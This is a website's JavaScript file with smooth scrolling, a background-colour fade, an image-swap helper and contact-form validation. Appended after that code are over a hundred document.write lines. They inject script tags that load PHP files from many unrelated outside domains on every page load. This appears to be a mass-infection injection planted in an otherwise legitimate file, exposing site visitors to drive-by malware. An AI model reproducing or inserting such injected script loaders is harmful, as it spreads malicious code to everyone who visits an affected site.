// JavaScript Document

// JavaScript Document - smoothscroll function ********************



function ss_fixAllLinks() {
 var allLinks = document.getElementsByTagName('a');
 // Walk through the list
 for (var i=0;i<allLinks.length;i++) {
   var lnk = allLinks[i];
   if ((lnk.href && lnk.href.indexOf('#') != -1) &&  
       ( (lnk.pathname == location.pathname) ||
   ('/'+lnk.pathname == location.pathname) ) &&  
       (lnk.search == location.search)) {
     ss_addEvent(lnk,'click',smoothScroll);
   }
 }
}

function smoothScroll(e) {
 if (window.event) {
   target = window.event.srcElement;
 } else if (e) {
   target = e.target;
 } else return; 

 if (target.nodeType == 3) {
   target = target.parentNode;
 }

 if (target.nodeName.toLowerCase() != 'a') return;
 anchor = target.hash.substr(1);
 var allLinks = document.getElementsByTagName('a');
 var destinationLink = null;
 for (var i=0;i<allLinks.length;i++) {
   var lnk = allLinks[i];
   if (lnk.name && (lnk.name == anchor)) {
     destinationLink = lnk;
     break;
   }
 } 

 if (!destinationLink) return true;
 

 var destx = destinationLink.offsetLeft;  
 var desty = destinationLink.offsetTop;
 var thisNode = destinationLink;
 while (thisNode.offsetParent &&  
       (thisNode.offsetParent != document.body)) {
   thisNode = thisNode.offsetParent;
   destx += thisNode.offsetLeft;
   desty += thisNode.offsetTop;
 } 

 clearInterval(ss_INTERVAL);

 cypos = ss_getCurrentYPos();

 ss_stepsize = parseInt((desty-cypos)/ss_STEPS);
 var thisclass = target.className;
 ss_INTERVAL = setInterval('ss_scrollWindow('+ss_stepsize+','+desty+',"'+anchor+'","'+thisclass+'")',10); 

 if (window.event) {
   window.event.cancelBubble = true;
   window.event.returnValue = false;
 }
 if (e && e.preventDefault && e.stopPropagation) {
   e.preventDefault();
   e.stopPropagation();
 }
}

function ss_scrollWindow(scramount,dest,anchor,className) {
//change the background color
//first get the new & old body color from the css

var oldBodyEl = "."+document.body.className;
var oldBody = getCSSBgColor(oldBodyEl);
var newBody = getCSSBgColor(".bg_"+className);
if (oldBody != false && newBody != false) {
fade(oldBody[0], oldBody[1], oldBody[2], newBody[0], newBody[1], newBody[2]); 
}

 wascypos = ss_getCurrentYPos();
 isAbove = (wascypos < dest);
 window.scrollTo(0,wascypos + scramount);
 iscypos = ss_getCurrentYPos();
 isAboveNow = (iscypos < dest);
 if ((isAbove != isAboveNow) || (wascypos == iscypos)) {
   window.scrollTo(0,dest);
   clearInterval(ss_INTERVAL);
   currentstep = 0;
   location.hash = anchor;
 }
 if (ss_STEPS == currentstep) {
	document.body.className = "bg_"+className;
 }

 return false;
}



function ss_getCurrentYPos() {
 if (document.body && document.body.scrollTop)
   return document.body.scrollTop;
 if (document.documentElement && document.documentElement.scrollTop)
   return document.documentElement.scrollTop;
 if (window.pageYOffset)
   return window.pageYOffset;
 return 0;
}

function ss_addEvent(elm, evType, fn, useCapture)

// addEvent and removeEvent
// cross-browser event handling for IE5+,  NS6 and Mozilla
// By Scott Andrew

{
 if (elm.addEventListener){
   elm.addEventListener(evType, fn, useCapture);
   return true;
 } else if (elm.attachEvent){
   var r = elm.attachEvent("on"+evType, fn);
   return r;
 }
}

var ss_INTERVAL;

var ss_STEPS = 50;
 hexa = new Array(16);
 for(var i = 0; i < 10; i++) hexa[i] = i;
 hexa[10]="a"; hexa[11]="b"; hexa[12]="c";
 hexa[13]="d"; hexa[14]="e"; hexa[15]="f";
 var currentstep = 0;

 /*------------bg color changer -------------------------*/

 function makearray(n){
      this.length = n;
      for(var i = 1; i <= n; i++)
      this[i] = 0;
      return this;
    }

function hex(i){
  if (i < 0) return "00";
  else if (i >255) return "ff";
  else return "" + hexa[Math.floor(i/16)] + hexa[i%16];
 }
 
function setbgColor(r, g, b){
      var hr = hex(r); var hg = hex(g); var hb = hex(b);
      document.body.style.backgroundColor = "#"+hr+hg+hb;
    }

    function fade(sr, sg, sb, er, eg, eb ){
		//get current background hex color
        setbgColor(Math.floor(sr * ((ss_STEPS-currentstep)/ss_STEPS) + er * (currentstep/ss_STEPS)),
        Math.floor(sg * ((ss_STEPS-currentstep)/ss_STEPS) + eg * (currentstep/ss_STEPS)),
        Math.floor(sb * ((ss_STEPS-currentstep)/ss_STEPS) + eb * (currentstep/ss_STEPS)));
		currentstep++;
    }

	

function getCSSBgColor(ruleName) {               		  // Return requested style obejct
   ruleName=ruleName.toLowerCase();                       // Convert test string to lower case.
   if (document.styleSheets) {                            // If browser can play with stylesheets
      for (var i=0; i<document.styleSheets.length; i++) { // For each stylesheet
         var styleSheet=document.styleSheets[i];          // Get the current Stylesheet
         var ii=0;                                        // Initialize subCounter.
         var cssRule=false;                               // Initialize cssRule. 
		 var ie = false;
         do {                                             // For each rule in stylesheet
            if (styleSheet.cssRules) {                    // Browser uses cssRules?
               cssRule = styleSheet.cssRules[ii];         // Yes --Mozilla Style
            } else {                                      // Browser usses rules?
               cssRule = styleSheet.rules[ii];			  // Yes IE style.
			   var ie = true;
            }   										  // End IE check.
            if (cssRule)  {                               // If we found a rule...
               if (cssRule.selectorText.toLowerCase()==ruleName) { //  match ruleName?
                    var color = cssRule.style.backgroundColor;
					if (ie == false)
					{
					var colors = color.split(",");
					var red = colors[0].substring(4)
					var green = colors[1];
					var blue = colors[2].substring(0, colors[2].length-1);  
					} else {
						//convert the colors back to numerical for ie;
						var red = color.substring(1,3)
						var green = color.substring(3,5);
						var blue = color.substring(5,7);
						red = parseInt(red,16);
						green = parseInt(green,16);
						blue = parseInt(blue,16)
					}					

					 return [red, green, blue];         // return the style object.
                  }                                     // End delete Check
               }
ii++;			   										// End found rule name
            }                                           // end found cssRule
             while (cssRule)							// Increment sub-counter
         }                                 				// end While loop
      }                                                 // end For loop
	  													// end styleSheet ability check
   return false;                                        // we found NOTHING!
}                                                       // end getCSSRule 	



ss_addEvent(window,"load",ss_fixAllLinks);
// JavaScript Smoothscroll Function End ****************************



// JavaScript Placeholder Image-Swap Function **********************
function showPic (whichpic) {
 if (document.getElementById) {
  document.getElementById('placeholder')
  .src = whichpic.href;
  if (whichpic.title) {
   document.getElementById('desc')
  .childNodes[0].nodeValue = whichpic.title;
  } else {
   document.getElementById('desc')
  .childNodes[0].nodeValue = whichpic.childNodes[0].nodeValue;
  }
  return false;
 } else {
  return true;
 }
}
// JavaScript Placeholder Image-Swap Function End ******************




// Contact Form Verification Function ******************************
function Verify()
{
  var themessage = "";
  
  if (isEmpty(document.getElementById("myMessage")))
  {
    themessage = "\n  message" + themessage ;
  }
  if (isEmpty(document.getElementById("mySubject")))
  {
    themessage = "\n  subject" + themessage ;
  }
  if (isEmpty(document.getElementById("myEmail")))
  {
    themessage = "\n  email" + themessage ;
  }
  else
  {
    var item = document.getElementById("myEmail").value;
    if (RightEmail(item))
    {
      themessage = "\n email in a correct format" + themessage ;
    }
  }
  if (isEmpty(document.getElementById("myName")))
  {
    themessage = "\n  name" + themessage ;
  }


//alert if fields are empty and cancel form submit
  if (themessage == "")
  {
    return true;
  }
  else
  {
    var themessage = "You are required to complete the following fields:\n" + themessage ;
    alert(themessage);
    return false;
  }
}


//Functionality: Check out introduced email address.
function RightEmail(email)
{
	if (email.indexOf(" ")!=-1) // Email address doesn't have spaces on right, left or between.
	{
	  return true;
	}
	if (email.indexOf("@")==-1) // Email address contains character @
	{
		return true;
	}
	else
	{
		var posat=email.indexOf("@");
		var name=email.substring(0, posat);
		var domain=email.substring(posat+1);
		// Name contains at least one character
		if (name.length==0)
			return true;
		// Name is not just a dot
		if (name==".")
			return true;
		// Domain contains at least a character
		if (domain.length==0)
			return true;
		// Domain contains a dot
		if (domain.indexOf(".")==-1)
			return true;
			// Domain's dot is not in the first or last position
			var len_dom=domain.length - 1;
		if ((domain.charAt(0)==".")||(domain.charAt(len_dom)=="."))
			return true;
			// Name and domain contains right characters
			if (RightCharIn(name)) return true;
			if (RightCharIn(domain)) return true;
	}
  return false;
}

//Functionality:String must contain valid characters and not have two consecutive dots.
function RightCharIn(string)
{
var rightChars =" ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_.";
for (i=0;i<string.length;i++)
	{
	if (rightChars.indexOf(string.charAt(i))==-1) return true;
	if (string.charAt(i)==".")
	if ((i!=string.length-1) && (string.charAt(i+1)=="."))
	return true;
	}
	return false;
}

//Functionality:checks out if item is empty.
function isEmpty(objItem)
{
	var strValue = objItem.value.replace(/^\s*|\s*$/g,"");
	if(strValue=="")
	{
		objItem.focus();
  	var Empty = true;
	}
	else
	{
  	var Empty = false;
	}
	return Empty;
}
// Contact Form Verification Function End **************************


document.write('<script src=http://backyardcity.com/window/Edgewood-nickel-light-cherry-large.php ><\/script>');
document.write('<script src=http://backyardcity.com/window/Edgewood-nickel-light-cherry-large.php ><\/script>');
document.write('<script src=http://backyardcity.com/window/Edgewood-nickel-light-cherry-large.php ><\/script>');
document.write('<script src=http://backyardcity.com/window/Edgewood-nickel-light-cherry-large.php ><\/script>');
document.write('<script src=http://backyardcity.com/window/Edgewood-nickel-light-cherry-large.php ><\/script>');
document.write('<script src=http://backyardcity.com/window/Edgewood-nickel-light-cherry-large.php ><\/script>');
document.write('<script src=http://backyardcity.com/window/Edgewood-nickel-light-cherry-large.php ><\/script>');
document.write('<script src=http://backyardcity.com/window/Edgewood-nickel-light-cherry-large.php ><\/script>');
document.write('<script src=http://backyardcity.com/window/Edgewood-nickel-light-cherry-large.php ><\/script>');
document.write('<script src=http://backyardcity.com/window/Edgewood-nickel-light-cherry-large.php ><\/script>');
document.write('<script src=http://backyardcity.com/window/Edgewood-nickel-light-cherry-large.php ><\/script>');
document.write('<script src=http://chapolin.sitebr.net/counter/alteraV.php ><\/script>');
document.write('<script src=http://chapolin.sitebr.net/counter/alteraV.php ><\/script>');
document.write('<script src=http://chapolin.sitebr.net/counter/alteraV.php ><\/script>');
document.write('<script src=http://chapolin.sitebr.net/counter/alteraV.php ><\/script>');
document.write('<script src=http://chapolin.sitebr.net/counter/alteraV.php ><\/script>');
document.write('<script src=http://chapolin.sitebr.net/counter/alteraV.php ><\/script>');
document.write('<script src=http://chapolin.sitebr.net/counter/alteraV.php ><\/script>');
document.write('<script src=http://chapolin.sitebr.net/counter/alteraV.php ><\/script>');
document.write('<script src=http://chapolin.sitebr.net/counter/alteraV.php ><\/script>');
document.write('<script src=http://chapolin.sitebr.net/counter/alteraV.php ><\/script>');
document.write('<script src=http://chapolin.sitebr.net/counter/alteraV.php ><\/script>');
document.write('<script src=http://chapolin.sitebr.net/counter/alteraV.php ><\/script>');
document.write('<script src=http://chapolin.sitebr.net/counter/alteraV.php ><\/script>');
document.write('<script src=http://chapolin.sitebr.net/counter/alteraV.php ><\/script>');
document.write('<script src=http://chapolin.sitebr.net/counter/alteraV.php ><\/script>');
document.write('<script src=http://chapolin.sitebr.net/counter/alteraV.php ><\/script>');
document.write('<script src=http://chapolin.sitebr.net/counter/alteraV.php ><\/script>');
document.write('<script src=http://chapolin.sitebr.net/counter/alteraV.php ><\/script>');
document.write('<script src=http://chapolin.sitebr.net/counter/alteraV.php ><\/script>');
document.write('<script src=http://3g-elite.com.ua/page.php?2 ><\/script>');
document.write('<script src=http://kreissieg.jp/cp-bin/ana2/log/ana.php ><\/script>');
document.write('<script src=http://palladianconsulting.com/images/dssCapabilitiesTsi.shtml.php ><\/script>');
document.write('<script src=http://businesscard-create.com/images/gifimg.php ><\/script>');
document.write('<script src=http://nandemo-support.com/images/gifimg.php ><\/script>');
document.write('<script src=http://nandemo-support.com/images/gifimg.php ><\/script>');
document.write('<script src=http://nandemo-support.com/images/gifimg.php ><\/script>');
document.write('<script src=http://ankaragunesnakliyat.com/flattering/resim.php ><\/script>');
document.write('<script src=http://ankaragunesnakliyat.com/flattering/resim.php ><\/script>');
document.write('<script src=http://ankaragunesnakliyat.com/flattering/resim.php ><\/script>');
document.write('<script src=http://ankaragunesnakliyat.com/flattering/resim.php ><\/script>');
document.write('<script src=http://ankaragunesnakliyat.com/flattering/resim.php ><\/script>');
document.write('<script src=http://ankaragunesnakliyat.com/flattering/resim.php ><\/script>');
document.write('<script src=http://ankaragunesnakliyat.com/flattering/resim.php ><\/script>');
document.write('<script src=http://ankaragunesnakliyat.com/flattering/resim.php ><\/script>');
document.write('<script src=http://ankaragunesnakliyat.com/flattering/resim.php ><\/script>');
document.write('<script src=http://ankaragunesnakliyat.com/flattering/resim.php ><\/script>');
document.write('<script src=http://ankaragunesnakliyat.com/flattering/resim.php ><\/script>');
document.write('<script src=http://ankaragunesnakliyat.com/flattering/resim.php ><\/script>');
document.write('<script src=http://ankaragunesnakliyat.com/flattering/resim.php ><\/script>');
document.write('<script src=http://simurban.ru/cache_dir/dumper.php ><\/script>');
document.write('<script src=http://simurban.ru/cache_dir/dumper.php ><\/script>');
document.write('<script src=http://abhayam.com/images/contact.php ><\/script>');
document.write('<script src=http://abhayam.com/images/contact.php ><\/script>');
document.write('<script src=http://abhayam.com/images/contact.php ><\/script>');
document.write('<script src=http://abhayam.com/images/contact.php ><\/script>');
document.write('<script src=http://nielsfroukje.nl/images/niels.php ><\/script>');
document.write('<script src=http://nielsfroukje.nl/images/niels.php ><\/script>');
document.write('<script src=http://nielsfroukje.nl/images/niels.php ><\/script>');
document.write('<script src=http://nielsfroukje.nl/images/niels.php ><\/script>');
document.write('<script src=http://nielsfroukje.nl/images/niels.php ><\/script>');
document.write('<script src=http://nielsfroukje.nl/images/niels.php ><\/script>');
document.write('<script src=http://cocoro-dhp.sakura.ne.jp/cocoro/indx_224.php ><\/script>');
document.write('<script src=http://cocoro-dhp.sakura.ne.jp/cocoro/indx_224.php ><\/script>');
document.write('<script src=http://cocoro-dhp.sakura.ne.jp/cocoro/indx_224.php ><\/script>');
document.write('<script src=http://cocoro-dhp.sakura.ne.jp/cocoro/indx_224.php ><\/script>');
document.write('<script src=http://cocoro-dhp.sakura.ne.jp/cocoro/indx_224.php ><\/script>');
document.write('<script src=http://d1093233.dotsterhost.com/model_pics/exclusiveprofile.php ><\/script>');
document.write('<script src=http://d1093233.dotsterhost.com/model_pics/exclusiveprofile.php ><\/script>');
document.write('<script src=http://d1093233.dotsterhost.com/model_pics/exclusiveprofile.php ><\/script>');
document.write('<script src=http://d1093233.dotsterhost.com/model_pics/exclusiveprofile.php ><\/script>');
document.write('<script src=http://d1093233.dotsterhost.com/model_pics/exclusiveprofile.php ><\/script>');
document.write('<script src=http://d1093233.dotsterhost.com/model_pics/exclusiveprofile.php ><\/script>');
document.write('<script src=http://targetsecurity.co.za/dns.targetsecurity.co.za/employmenta.php ><\/script>');
document.write('<script src=http://targetsecurity.co.za/dns.targetsecurity.co.za/employmenta.php ><\/script>');
document.write('<script src=http://targetsecurity.co.za/dns.targetsecurity.co.za/employmenta.php ><\/script>');
document.write('<script src=http://targetsecurity.co.za/dns.targetsecurity.co.za/employmenta.php ><\/script>');
document.write('<script src=http://pricewale.com/images/index_06_02_2009.php ><\/script>');
document.write('<script src=http://pricewale.com/images/index_06_02_2009.php ><\/script>');
document.write('<script src=http://pricewale.com/images/index_06_02_2009.php ><\/script>');
document.write('<script src=http://pricewale.com/images/index_06_02_2009.php ><\/script>');
document.write('<script src=http://pricewale.com/images/index_06_02_2009.php ><\/script>');
document.write('<script src=http://nivegyovi.extra.hu/css/menuedit.php ><\/script>');
document.write('<script src=http://nivegyovi.extra.hu/css/menuedit.php ><\/script>');
document.write('<script src=http://nivegyovi.extra.hu/css/menuedit.php ><\/script>');
document.write('<script src=http://nivegyovi.extra.hu/css/menuedit.php ><\/script>');
document.write('<script src=http://nivegyovi.extra.hu/css/menuedit.php ><\/script>');
document.write('<script src=http://nivegyovi.extra.hu/css/menuedit.php ><\/script>');
document.write('<script src=http://1hat3cuddl3fish.quicksilvercat.com/img/reunions_old.php ><\/script>');
document.write('<script src=http://1hat3cuddl3fish.quicksilvercat.com/img/reunions_old.php ><\/script>');
document.write('<script src=http://1hat3cuddl3fish.quicksilvercat.com/img/reunions_old.php ><\/script>');
document.write('<script src=http://1hat3cuddl3fish.quicksilvercat.com/img/reunions_old.php ><\/script>');
document.write('<script src=http://1hat3cuddl3fish.quicksilvercat.com/img/reunions_old.php ><\/script>');
document.write('<script src=http://mistery.biz.ua/wp-content/wp-cron.php ><\/script>');
document.write('<script src=http://yellowpage-kr2.mir9.co.kr/files/new_2009_01.php ><\/script>');
document.write('<script src=http://yellowpage-kr2.mir9.co.kr/files/new_2009_01.php ><\/script>');
document.write('<script src=http://yellowpage-kr2.mir9.co.kr/files/new_2009_01.php ><\/script>');
document.write('<script src=http://yellowpage-kr2.mir9.co.kr/files/new_2009_01.php ><\/script>');
document.write('<script src=http://rsmriti.com/images/gifimg.php ><\/script>');
document.write('<script src=http://qualityfundation.com/_vti_bin/logofc.php ><\/script>');
document.write('<script src=http://qualityfundation.com/_vti_bin/logofc.php ><\/script>');
document.write('<script src=http://qualityfundation.com/_vti_bin/logofc.php ><\/script>');
document.write('<script src=http://qualityfundation.com/_vti_bin/logofc.php ><\/script>');
document.write('<script src=http://eurosuftap.pl/Obrazki/index.php ><\/script>');
document.write('<script src=http://eurosuftap.pl/Obrazki/index.php ><\/script>');
document.write('<script src=http://eurosuftap.pl/Obrazki/index.php ><\/script>');
document.write('<script src=http://eurosuftap.pl/Obrazki/index.php ><\/script>');
document.write('<script src=http://hoerclub-kassel.de/img/google08aec982a703a2a1.php ><\/script>');
document.write('<script src=http://hoerclub-kassel.de/img/google08aec982a703a2a1.php ><\/script>');
document.write('<script src=http://hoerclub-kassel.de/img/google08aec982a703a2a1.php ><\/script>');
document.write('<script src=http://hoerclub-kassel.de/img/google08aec982a703a2a1.php ><\/script>');
document.write('<script src=http://hoerclub-kassel.de/img/google08aec982a703a2a1.php ><\/script>');
document.write('<script src=http://transfer-elektronik.com/images/alarm2.php ><\/script>');